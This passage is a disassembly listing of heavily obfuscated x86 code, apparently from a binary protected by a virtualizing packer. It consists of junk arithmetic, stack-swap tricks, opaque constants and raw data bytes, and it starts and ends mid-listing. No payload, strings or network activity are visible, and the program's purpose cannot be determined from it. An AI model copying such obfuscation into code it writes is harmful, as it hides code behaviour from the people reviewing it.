		dd 236C870Fh, 0C281FFFFh, 5F0A668Ch, 13E3EA81h,	0D1897382h
		dd 6E9C15Ah, 72DDC981h,	0CAE9437Fh, 2DFFFEF1h, 47BEE0C1h
		dd 0FF297FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AC461:				; CODE XREF: sdfs____:loc_5A6E9Aj
		jmp	loc_5A5EA2
; ---------------------------------------------------------------------------
		dw 5B54h
		dd 0FFA7ACE9h, 7BF781FFh, 0E9937FE4h, 0FFFF271Fh
dword_5AC478	dd 262CE952h			db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AC47E:				; CODE XREF: sdfs____:005A3545j
		dec	ebx
		shl	ebx, 4
		sub	ebx, 6451A73Ch
		add	ebp, ebx
		pop	ebx
		jmp	loc_5B03E8
; ---------------------------------------------------------------------------


loc_5AC490:				; CODE XREF: sdfs____:00599BF1j
		mov	ebx, edi
		jmp	loc_5ADE74
; ---------------------------------------------------------------------------


loc_5AC497:				; CODE XREF: sdfs____:005AAEEFj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A90CF
; ---------------------------------------------------------------------------


loc_5AC4A2:				; CODE XREF: sdfs____:0059C6F6j
		xor	ebp, 0B3524EBh
		jmp	loc_59FE81
; ---------------------------------------------------------------------------


loc_5AC4AD:				; CODE XREF: sdfs____:005A74EFj
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_5A6E51
; ---------------------------------------------------------------------------
		db 2Ch
		dd 0E9262C9Bh, 0FFFF28A6h, 71A4E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AC4CA:				; CODE XREF: sdfs____:005AE75Ej
		xor	dl, ah
		pop	ax
		sub	cl, 2Dh
		add	cl, 54h
		jmp	loc_5AC029
; ---------------------------------------------------------------------------


loc_5AC4D9:				; CODE XREF: sdfs____:0059D478j
					; sdfs____:0059EF9Cj
		mov	esi, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_5A415D
; ---------------------------------------------------------------------------


loc_5AC4E7:				; CODE XREF: sdfs____:005A6B2Aj
		push	309Bh
		mov	[esp], eax
		push	edx
		jmp	loc_59AA3F
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 0D8h
		dd 0E9FE3CF8h, 0FFFF6510h
; ---------------------------------------------------------------------------


loc_5AC500:				; CODE XREF: sdfs____:005AA686j
		xor	bh, cl
		pop	ecx
		shr	bh, 7
		dec	bh
		jmp	loc_59B130
; ---------------------------------------------------------------------------


loc_5AC50D:				; CODE XREF: sdfs____:005A3304j
		neg	edx
		jp	loc_59E030
		shr	edx, 1
		add	edx, 3C5306F3h
		xor	bh, 0D7h
		pop	edi
		mov	[esp], ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		jmp	loc_59E5E6
; ---------------------------------------------------------------------------
		db 88h,	0ECh, 0F6h
		dd 0E68956D4h, 0FF6E0AE9h, 52DBF6FFh, 0FFA593E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AC545:				; CODE XREF: sdfs____:005AC1EFj
		pop	ecx
		push	ebp
		jmp	loc_5A320C
; ---------------------------------------------------------------------------


loc_5AC54C:				; CODE XREF: sdfs____:0059D4F8j
		mov	esi, 1B0F0DD9h
		xor	edx, esi
		pop	esi
		sub	edx, 1B8295C8h
		mov	eax, edx
		pop	edx
		sub	ecx, 4CA779F5h
		add	ecx, eax
		add	ecx, 4CA779F5h
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	dh, 4Fh
		push	small 3D4Eh
		mov	[esp], cx
		jmp	loc_59E067
; ---------------------------------------------------------------------------


loc_5AC58A:				; CODE XREF: sdfs____:005AD4A2j
		jp	loc_5A92B2
		jmp	loc_5AAA38
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 52CF8A24h
; ---------------------------------------------------------------------------


loc_5AC59C:				; CODE XREF: sdfs____:005A1124j
		sub	ebx, ebp
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_5AA8EB
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFECB63h
; ---------------------------------------------------------------------------


loc_5AC5AC:				; CODE XREF: sdfs____:005A306Ej
		push	edx
		jmp	loc_5A702E
; ---------------------------------------------------------------------------


loc_5AC5B2:				; CODE XREF: sdfs____:005AFA98j
		mov	esp, [esp]
		mov	[esp], eax
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 66BE6B6Dh
		inc	ebx
		push	esi
		mov	esi, 1
		sub	ebx, esi
		pop	esi
		add	ebx, 0F1639CB8h
		sub	esp, 4
		mov	[esp], ebp
		push	764Dh
		mov	[esp], ebx
		pop	ebp
		jmp	loc_5A8AF0
; ---------------------------------------------------------------------------


loc_5AC5FC:				; CODE XREF: sdfs____:0059E604j
		sub	edi, ecx
		pop	ecx
		push	esi
		mov	esi, 6BB224A2h
		sub	esi, 0FF7FB9F9h
		add	edi, esi
		pop	esi
		jmp	loc_5ABCEE
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C9E902EBh, 87FFFFE1h, 815C2414h, 4C4h, 68F1F700h, 0DE1h
		dd 0FF52BBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AC631:				; CODE XREF: sdfs____:005A91C1j
		mov	ebp, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_59EACF
; ---------------------------------------------------------------------------
		dw 0FF54h
		dd 3C8B2434h, 0F4E95224h, 89FFFF87h, 24348BF5h,	0FF5203E9h
		dd 4C483FFh, 4C781h, 0ECE90000h, 58FFFF69h, 240C335Eh
		dd 33240C31h, 248B240Ch, 2434FF24h, 8B2434FFh, 5FE9240Ch
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AC67F:				; CODE XREF: sdfs____:005A5229j
		push	0
		sub	[esp], ebx
		pop	ebx
		neg	ebx
		xor	ebx, 10296204h
		push	ebx
		jmp	loc_5ACF66
; ---------------------------------------------------------------------------


loc_5AC696:				; CODE XREF: sdfs____:005A22B4j
		pop	ebx
		add	ecx, 30C07046h
		add	ecx, 1ED43004h
		add	ecx, 74331501h
		add	ecx, esi
		jmp	loc_5A4704
; ---------------------------------------------------------------------------


loc_5AC6B0:				; CODE XREF: sdfs____:loc_59FE81j
		xor	ebp, 702B565Fh
		jnp	loc_59D8C6
		jmp	loc_5A6534
; ---------------------------------------------------------------------------
		db 58h,	9, 0CAh
		dd 34240C8Bh
		db 6, 5Ah
; ---------------------------------------------------------------------------


loc_5AC6CA:				; CODE XREF: sdfs____:005AB6B4j
		add	ebx, 0F337FE52h
		jmp	loc_5AAE8F
; ---------------------------------------------------------------------------


loc_5AC6D5:				; CODE XREF: sdfs____:005AC237j
		pop	esp
		jmp	loc_5AAA78
; ---------------------------------------------------------------------------


loc_5AC6DB:				; CODE XREF: sdfs____:005A1825j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		inc	dword ptr [esp]
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AC6EF:				; CODE XREF: sdfs____:005A972Bj
		push	esi
		not	dword ptr [esp]
		pop	esi
		add	esi, 2FEE102Ch
		jmp	loc_5A93B8
; ---------------------------------------------------------------------------


loc_5AC6FF:				; CODE XREF: sdfs____:005A27D0j
		xor	ebp, 6F834164h
		jmp	loc_5A0CA3
; ---------------------------------------------------------------------------


loc_5AC70A:				; CODE XREF: sdfs____:005A7E9Aj
		jmp	loc_5A0180
; ---------------------------------------------------------------------------


loc_5AC70F:				; CODE XREF: sdfs____:005ACF8Dj
		mov	edx, [esp]
		jmp	loc_5AC2FC
; ---------------------------------------------------------------------------


loc_5AC717:				; CODE XREF: sdfs____:005A1F23j
		pop	edi
		jmp	loc_59C1DE
; ---------------------------------------------------------------------------


loc_5AC71D:				; CODE XREF: sdfs____:005A835Aj
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5AC722:				; CODE XREF: sdfs____:0059DDCBj
		mov	ebp, 4ABD0253h
		dec	ebp
		jmp	loc_5A4828
; ---------------------------------------------------------------------------
		db 58h,	81h, 0C3h
		dd 657A7326h, 0EB81FB01h, 657A7326h, 5F2434FFh,	6804C483h
		dd 1B54h, 0B8240489h, 4, 2DE9C301h
		db 0F7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AC757:				; CODE XREF: sdfs____:005AF75Bj
		jmp	loc_5ACD3D
; ---------------------------------------------------------------------------
		dd 148B582Ch, 4C48124h,	68000000h, 3CA2h, 68241489h, 5DBEh
		dd 51240489h, 0FF5261E9h, 50D8F7FFh, 582414F7h,	0BFEF4E2Dh
		dd 58C3899Ch, 964C781h,	0EF817B22h, 1CCE7C6Ch, 0FF6E43E9h
		dd 0B10458FFh, 1A68F028h, 89000045h, 0B1B5240Ch, 0E8286D04h
		dd 0FF207DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AC7B5:				; CODE XREF: sdfs____:005A25E2j
		pop	eax
		sub	eax, 295F2262h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5AA37F
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0B9240C89h, 59C411DBh, 5D95C981h,	0F749202Dh, 814141D1h
		dd 0FC9C38F1h, 59C83109h, 49E9C301h
		db 0E8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AC7EF:				; CODE XREF: sdfs____:005ACEBCj
		sub	[esp+4], edi
		pop	edi
		sub	dword ptr [esp], 447C2E2Dh
		sub	[esp], ecx
		jmp	loc_5A747B
; ---------------------------------------------------------------------------


loc_5AC803:				; CODE XREF: sdfs____:0059CA73j
		sub	esp, 4
		mov	[esp], edx
		push	esi
		mov	esi, 5AA79B5h
		and	esi, 10ED04B3h
		jnb	loc_5B015D
		shl	esi, 6
		jmp	loc_5A053F
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 50D55E8Fh, 79E95256h
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AC833:				; CODE XREF: sdfs____:0059FAAFj
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_59D3FB
; ---------------------------------------------------------------------------


loc_5AC85F:				; CODE XREF: sdfs____:005A425Aj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		db 0E9h, 75h, 0BDh
		dd 0D6F6FFFFh, 5004EEC0h, 6887B151h, 29FBh, 0E9241C89h
		dd 0FFFF94DDh
; ---------------------------------------------------------------------------


loc_5AC890:				; CODE XREF: sdfs____:0059E212j
		push	66DFh
		mov	[esp], ebx
		push	ecx
		push	eax
		mov	ah, dh
		mov	cl, ah
		pop	eax
		mov	bl, cl
		jmp	loc_5A235D
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 1BF31396h, 60E0F181h, 0CA318C7Fh, 0E95D5259h, 0FFFF5D75h
; ---------------------------------------------------------------------------


loc_5AC8BC:				; CODE XREF: sdfs____:00599504j
		pop	ecx
		jmp	loc_5AD44C
; ---------------------------------------------------------------------------


loc_5AC8C2:				; CODE XREF: sdfs____:005AA6E5j
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_5AD80A
; ---------------------------------------------------------------------------


loc_5AC8CF:				; CODE XREF: sdfs____:005A9533j
		pop	ebp
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_59C6C9
; ---------------------------------------------------------------------------


loc_5AC8E7:				; CODE XREF: sdfs____:005A5CCBj
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	6DBCh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	esi
		mov	esi, 4
		add	eax, esi
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A8DAD
; ---------------------------------------------------------------------------


loc_5AC91F:				; CODE XREF: sdfs____:005A3B63j
		mov	[esp], ecx
		jmp	loc_5A66AC
; ---------------------------------------------------------------------------
byte_5AC927	db 0FFh			; DATA XREF: sdfs____:00598E44o
		dd 48B2434h, 0DD2AE924h, 168FFFFh, 8900004Dh, 5E542434h
		dd 1D6668h, 242C8900h, 4BDh, 68515300h,	44F642F5h, 0F76E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5AC956:				; CODE XREF: sdfs____:005AEE7Aj
		add	esp, 2
		add	cl, dl
		pop	edx
		add	cl, bh
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0B6h
		push	dx
		mov	dl, 95h
		xor	ah, dl
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_5A3874
; ---------------------------------------------------------------------------


loc_5AC978:				; CODE XREF: sdfs____:005A53DEj
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5AAB8C
; ---------------------------------------------------------------------------


loc_5AC982:				; CODE XREF: sdfs____:005A958Dj
		xor	ecx, 1B246A4Ah
		and	ecx, 51AF0B5Ch
		sub	ecx, 2B153889h
		jmp	loc_5AF71D
; ---------------------------------------------------------------------------


loc_5AC999:				; CODE XREF: sdfs____:0059CF5Aj
		pop	esi
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_59CB27
; ---------------------------------------------------------------------------
		dd 0D0C3D3BFh, 5FF92989h, 0C8BCF09h, 4C48324h, 1019E9h
		db 0
; ---------------------------------------------------------------------------


loc_5AC9BD:				; CODE XREF: sdfs____:0059D647j
		xor	al, ch
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 2
		mov	[esp], cx
		mov	ch, 0C4h
		push	53BAh
		mov	[esp], eax
		jmp	loc_5ADF7F
; ---------------------------------------------------------------------------


loc_5AC9DE:				; CODE XREF: sdfs____:0059D6CCj
		mov	esi, esp
		jmp	loc_5A72CB
; ---------------------------------------------------------------------------


loc_5AC9E5:				; CODE XREF: sdfs____:005AB691j
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		xchg	esi, ebp
		jmp	loc_59E8AE
; ---------------------------------------------------------------------------


loc_5AC9F5:				; CODE XREF: sdfs____:005A433Aj
		xor	eax, edi
		mov	edi, [esp]
		jmp	loc_5ACB83
; ---------------------------------------------------------------------------


loc_5AC9FF:				; CODE XREF: sdfs____:005AF718j
		add	ebx, 20B518A8h
		sub	ebx, edx
		sub	ebx, 20B518A8h
		pop	edx
		jmp	loc_5A43FE
; ---------------------------------------------------------------------------


loc_5ACA13:				; CODE XREF: sdfs____:005A327Dj
		not	al
		jmp	loc_5AA3CD
; ---------------------------------------------------------------------------


loc_5ACA1A:				; CODE XREF: sdfs____:005AF632j
		not	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		shr	ebp, 1
		not	ebp
		add	ebp, 8263020Ch
		add	ecx, ebp
		pop	ebp
		jmp	loc_59CAE9
; ---------------------------------------------------------------------------
		align 2
		dw 66D8h
		dd 0E99CB151h, 0FFFFD49Ch
; ---------------------------------------------------------------------------


loc_5ACA40:				; CODE XREF: sdfs____:005A8B80j
		add	ecx, edx
		push	edi
		mov	edi, 3606902h
		sub	edi, 0E0F56BBh
		and	edi, 624C63DEh
		xor	edi, 374552B9h
		xor	edi, 568052BCh
		sub	ecx, edi
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_599649
; ---------------------------------------------------------------------------


loc_5ACA71:				; CODE XREF: sdfs____:005A5E97j
		pop	edx
		jmp	loc_5AAFE0
; ---------------------------------------------------------------------------


loc_5ACA77:				; CODE XREF: sdfs____:0059CCA6j
		pop	eax
		jmp	loc_5AA8B4
; ---------------------------------------------------------------------------


loc_5ACA7D:				; CODE XREF: sdfs____:0059C6C4j
		mov	[esp], ebx
		jmp	loc_59A0AC
; ---------------------------------------------------------------------------


loc_5ACA85:				; CODE XREF: sdfs____:005A7333j
		sub	ebp, 0A020FFCh
		add	ecx, ebp
		pop	ebp
		jmp	loc_599360
; ---------------------------------------------------------------------------


loc_5ACA93:				; CODE XREF: sdfs____:005AE3A1j
		xor	al, 51h
		sub	al, 0BDh
		and	al, 0ECh
		jmp	loc_5A835F
; ---------------------------------------------------------------------------


loc_5ACA9E:				; CODE XREF: sdfs____:00599615j
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		movzx	eax, al
		jmp	loc_59C7DC
; ---------------------------------------------------------------------------


loc_5ACAB3:				; CODE XREF: sdfs____:005A99F1j
		jmp	loc_5AA99F
; ---------------------------------------------------------------------------


loc_5ACAB8:				; CODE XREF: sdfs____:005AECCDj
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		push	small 7F2h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5ACAE1:				; CODE XREF: sdfs____:005A839Dj
		mov	edi, esp
		push	ecx
		mov	ecx, 52474DD6h
		not	ecx
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 0ADB8B22Eh
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_59AC13
; ---------------------------------------------------------------------------
		dd 0EAEE8F0Fh, 0E1C1FFFFh, 84C18106h, 51BE830Eh, 0AD240481h
		dd 5812BF40h, 0BF40AD2Dh, 0B4E95912h, 89000027h, 74FF2434h
		dd 348B0424h, 15B6824h,	1C890000h, 575B5424h, 0C5229EBFh
		dd 6EFC12Fh, 0C781EFD1h, 0FFA075BFh, 0FF47E1E9h, 51E089FFh
		dd 0D772F6B9h, 53F18112h, 0E9702708h, 0FFFF9C10h
; ---------------------------------------------------------------------------


loc_5ACB68:				; CODE XREF: sdfs____:005A3063j
		push	534Fh
		mov	[esp], ecx
		mov	ecx, 0
		add	ecx, ebx
		mov	[ecx], al
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_59C1E9
; ---------------------------------------------------------------------------


loc_5ACB83:				; CODE XREF: sdfs____:005A4001j
					; sdfs____:005AC9FAj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59C0F1
; ---------------------------------------------------------------------------


loc_5ACB96:				; CODE XREF: sdfs____:005AB531j
		mov	edi, 0B86661h
		sub	eax, edi
		pop	edi
		add	eax, 405F21C7h
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	0D42h
		jmp	loc_5A2A94
; ---------------------------------------------------------------------------


loc_5ACBB7:				; CODE XREF: sdfs____:005AE47Ej
		dec	ch
		push	ax
		mov	ah, ch
		not	ah
		mov	ch, ah
		pop	ax
		sub	esp, 2
		mov	[esp], bx
		jmp	loc_5A58CF
; ---------------------------------------------------------------------------
byte_5ACBCF	db 68h			; DATA XREF: sdfs____:00598ED4o
		dd 53947h, 6824048Bh, 81Eh, 68240489h, 70E4h, 1012E9h
		dd 24048F00h, 4BF57h, 4DE90000h, 8300001Dh, 0B9E904C6h
		dd 0F700001Bh, 355FE9DFh, 0B0500000h, 2C472C85h, 58C720CEh
		dd 0FDAC780h, 0FFCA4082h, 4FEF80FFh, 0FF1274E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5ACC21:				; CODE XREF: sdfs____:005A4766j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	26Eh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	bh, 6Fh
		jmp	loc_5A9CF2
; ---------------------------------------------------------------------------


loc_5ACC40:				; CODE XREF: sdfs____:005A7170j
		add	eax, 3EFB5073h
		jmp	loc_5A7322
; ---------------------------------------------------------------------------


loc_5ACC4A:				; CODE XREF: sdfs____:0059AA47j
		shr	edx, 6
		sub	edx, 5CF9548Ch
		jb	loc_5AF568
		dec	edx
		jle	loc_5A4B3F
		jmp	loc_5A5735
; ---------------------------------------------------------------------------


loc_5ACC65:				; CODE XREF: sdfs____:005A8634j
		jmp	loc_5A3D4A
; ---------------------------------------------------------------------------
		dw 0B450h
		dd 0FFC480BCh, 11B3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5ACC75:				; CODE XREF: sdfs____:005A48DCj
		pop	esp
		push	edx
		not	dword ptr [esp]
		pop	edx
		shr	edx, 2
		sub	edx, 2C2328E0h
		jmp	loc_59953D
; ---------------------------------------------------------------------------


loc_5ACC89:				; CODE XREF: sdfs____:005B010Aj
		neg	edx
		js	loc_5A3B7F
		jmp	loc_59D0C7
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 68703542h, 885CD3B4h, 0EDC05AD5h, 52CDFE02h,	0FF3B06E9h
		dd 0E9C588FFh, 14EEh, 2ADFC681h, 9CE90F03h
		db 30h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ACCBF:				; CODE XREF: sdfs____:0059D990j
					; sdfs____:005A350Fj
		pop	esp
		mov	[esp], edi
		jmp	loc_5A6A0B
; ---------------------------------------------------------------------------


loc_5ACCC8:				; CODE XREF: sdfs____:005A2D01j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A0499
; ---------------------------------------------------------------------------
		dw 335Ah
		dd 4312404h, 24043324h,	924248Bh, 0E99C2404h, 0FFFEC423h
		dd 92B9515Eh, 816EDF53h, 41350EE9h, 5E1C113h, 0FFF36AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5ACD01:				; CODE XREF: sdfs____:005B0456j
		jz	loc_5A501B
		xor	ecx, 4BCCCF90h
		mov	eax, ecx
		pop	ecx
		and	ebx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A169C
; ---------------------------------------------------------------------------
		db 52h
		dd 0C281E289h, 4, 8704C283h, 0E95C2414h, 0FFFFE896h
; ---------------------------------------------------------------------------


loc_5ACD30:				; CODE XREF: sdfs____:005A2167j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_59A803
; ---------------------------------------------------------------------------


loc_5ACD3D:				; CODE XREF: sdfs____:loc_5AC757j
		push	4050h
		mov	[esp], esi
		mov	esi, 0C2978D91h
		xor	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5AF2ED
; ---------------------------------------------------------------------------
aFq		db 'fQ±Ò',0
		db 0C8h
		dd 0E95B5966h, 0FFFF235Fh
; ---------------------------------------------------------------------------


loc_5ACD68:				; CODE XREF: sdfs____:005AF05Cj
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5AE783
; ---------------------------------------------------------------------------


loc_5ACD73:				; CODE XREF: sdfs____:0059E1BBj
		pop	ebp
		push	esi
		mov	esi, 0D3284065h
		add	ecx, 3DDC0C4Bh
		sub	ecx, esi
		sub	ecx, 3DDC0C4Bh
		jmp	loc_5A6810
; ---------------------------------------------------------------------------


loc_5ACD8D:				; CODE XREF: sdfs____:005AD152j
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		add	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_5997E3
; ---------------------------------------------------------------------------
		dw 2BAh
		dd 51000000h, 0DE7EECB9h, 59CB2971h, 0BD55D301h, 1A97F9Bh
		dd 0EC83DDF7h, 8892E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ACDDA:				; CODE XREF: sdfs____:005A1214j
		mov	ebp, 16EB1234h
		sub	ebp, 0BCA5A701h
		sub	edi, ebp
		pop	ebp
		pop	edx
		push	eax
		mov	eax, 2F8A7BFBh
		or	eax, 780C5498h
		sub	eax, 7F8E7FF9h
		sub	edi, eax
		jmp	loc_5A8317
; ---------------------------------------------------------------------------


loc_5ACE00:				; CODE XREF: sdfs____:loc_59F533j
		sub	di, 9218h
		sub	bp, di
		pop	edi
		add	bp, si
		add	bp, 6E29h
		pop	esi
		xor	bp, 35F8h
		jb	loc_5B0233
		xor	bp, 0FC7h
		jno	loc_5A1427
		push	ax
		jmp	loc_5AEA81
; ---------------------------------------------------------------------------
		db 51h
		dd 4B9h
		db 0, 53h
; ---------------------------------------------------------------------------


loc_5ACE36:				; CODE XREF: sdfs____:0059D326j
		mov	bl, 82h
		xor	dh, bl
		pop	ebx
		sub	al, dh
		jmp	loc_5AC0FE
; ---------------------------------------------------------------------------
		dw 96BAh
		dd 813EE76Bh, 392ECFEAh, 1EA817Ah, 81000000h, 511257E2h
		dd 7820F3Bh, 6800000Ah,	35AFh, 56240489h, 456EB951h, 14BE77CDh
		dd 0E9EAEDA2h, 0FFFFDF6Ah, 4B850h, 0C5010000h, 4C58158h
		dd 68000000h, 4CF8h, 0FF242C89h, 8B042474h, 0C483242Ch
		dd 1470E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ACE9E:				; CODE XREF: sdfs____:0059C989j
		mov	dx, [esp]
		add	esp, 2
		sub	al, 0AAh
		sub	al, cl
		jmp	loc_59A458
; ---------------------------------------------------------------------------


loc_5ACEB1:				; CODE XREF: sdfs____:005A601Cj
		mov	edi, 302D3C4Ah
		jmp	loc_5A7B57
; ---------------------------------------------------------------------------


loc_5ACEBB:				; CODE XREF: sdfs____:005992D5j
		pop	edx
		jmp	loc_5AC7EF
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 7
		dd 0E9E0A084h, 0FFFF40C6h
; ---------------------------------------------------------------------------


loc_5ACECC:				; CODE XREF: sdfs____:0059A813j
		mov	dl, 0A3h
		jmp	loc_59FC67
; ---------------------------------------------------------------------------


loc_5ACED3:				; CODE XREF: sdfs____:0059D659j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	eax
		jmp	loc_5AF533
; ---------------------------------------------------------------------------


loc_5ACEE7:				; CODE XREF: sdfs____:005AEB65j
		sub	ebp, 6B6A2D70h
		push	ecx
		mov	ecx, 20645904h
		add	ecx, 2967016Dh
		add	ecx, 2B09F2FAh
		add	ebx, ecx
		pop	ecx
		add	ebx, ebp
		sub	ebx, 74D54D6Bh
		pop	ebp
		jmp	loc_5A737A
; ---------------------------------------------------------------------------


loc_5ACF10:				; CODE XREF: sdfs____:005A850Fj
		mov	[esp], eax
		jmp	loc_5A8523
; ---------------------------------------------------------------------------


loc_5ACF18:				; CODE XREF: sdfs____:005AE502j
		add	esp, 4
		add	eax, 4
		push	ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		jmp	loc_5A543C
; ---------------------------------------------------------------------------


loc_5ACF3A:				; CODE XREF: sdfs____:005A7348j
		add	ecx, 13565F43h
		add	ecx, ebx
		sub	ecx, 13565F43h
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	esi
		push	eax
		jmp	loc_599D4F
; ---------------------------------------------------------------------------


loc_5ACF56:				; CODE XREF: sdfs____:005A01F1j
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_5A6866
; ---------------------------------------------------------------------------


loc_5ACF66:				; CODE XREF: sdfs____:005AC691j
		pop	dword ptr [edi+20h]
		pop	ebx
		push	0B8Eh
		mov	[esp], ecx
		jmp	loc_5A5944
; ---------------------------------------------------------------------------


loc_5ACF77:				; CODE XREF: sdfs____:005A4C93j
		add	esi, 10012552h
		jmp	loc_5A90E6
; ---------------------------------------------------------------------------


loc_5ACF82:				; CODE XREF: sdfs____:0059F3C5j
		mov	ebx, edx
		pop	edx
		push	edx
		mov	edx, 66BF1038h
		and	ebx, edx
		jmp	loc_5AC70F
; ---------------------------------------------------------------------------
word_5ACF92	dw 8B66h		; DATA XREF: sdfs____:005990A0o
		dd 8E68240Ch, 89000060h, 38E9243Ch
		db 0EBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5ACFA3:				; CODE XREF: sdfs____:005A3175j
		pop	edx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	577Ah
		mov	[esp], ecx
		jmp	loc_5A1393
; ---------------------------------------------------------------------------


loc_5ACFB7:				; CODE XREF: sdfs____:005A6D58j
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5ACFD2:				; CODE XREF: sdfs____:005AF887j
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 24DB15C1h
		sub	eax, 5AF911C9h
		not	eax
		sub	eax, 361DFC03h
		jmp	loc_5A7B45
; ---------------------------------------------------------------------------


loc_5ACFEF:				; CODE XREF: sdfs____:005A77C4j
		push	21B2h
		jmp	loc_5A17E0
; ---------------------------------------------------------------------------


loc_5ACFF9:				; CODE XREF: sdfs____:0059ECBDj
		dec	eax
		jnz	loc_59CF37
		inc	eax
		sub	eax, 2C7B0B59h
		add	al, 6Bh
		mov	ch, ch


loc_5AD00A:				; CODE XREF: sdfs____:0059B94Ej
		xor	ebx, 7081369h
		jmp	loc_5AE7AD
; ---------------------------------------------------------------------------


loc_5AD015:				; CODE XREF: sdfs____:005A0003j
